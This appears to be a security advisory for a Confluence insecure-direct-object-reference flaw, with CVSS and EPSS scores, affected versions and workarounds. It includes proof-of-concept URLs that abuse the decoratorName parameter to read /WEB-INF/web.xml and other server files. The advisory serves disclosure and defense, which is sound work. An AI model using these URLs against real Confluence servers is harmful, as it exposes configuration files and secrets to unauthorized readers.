Fa1767dc8cc8CONFSERVER-39704Insecure Direct Object Reference
4 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
SINGLE
Confidentiality Impact
PARTIAL
Integrity Impact
NONE
Availability Impact
NONE
AV:N/AC:L/Au:S/C:P/I:N/A:N
4.3 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
LOW
Integrity Impact
NONE
Availability Impact
NONE
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
0.966 High
EPSS
Percentile
99.6%
The following URL is vulnerable to Insecure Direct Object Reference, allowing any authenticated user to read configuration files from the application such as the content of webapp directory in confluence.
http://<server>/spaces/viewdefaultdecorator.action?decoratorName=<FILE>
http://<server>/admin/viewdefaultdecorator.action?decoratorName=<FILE>
Where <FILE> any file readable by the user who runs the Confluence instance is accessible through Confluence itself.
PoC URL:
http://<server>/spaces/viewdefaultdecorator.action?decoratorName=/WEB-INF/web.xml
http://<server>/admin/viewdefaultdecorator.action?decoratorName=/WEB-INF/web.xml
This has been verified in confluence 5.9.1, 5.8.15, and 5.8.14
h2. Workarounds
- Do not run Confluence as root/administrator. We always recommend creating a dedicated user account to run Atlassian products. You can limit the impact of this bug by restricting what the app user account can access.
- Block URLs that match this pattern using proxy or load balancer rules.
Affected configurations
Related
4 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
SINGLE
Confidentiality Impact
PARTIAL
Integrity Impact
NONE
Availability Impact
NONE
AV:N/AC:L/Au:S/C:P/I:N/A:N
4.3 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
LOW
Integrity Impact
NONE
Availability Impact
NONE
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
0.966 High
EPSS
Percentile
99.6%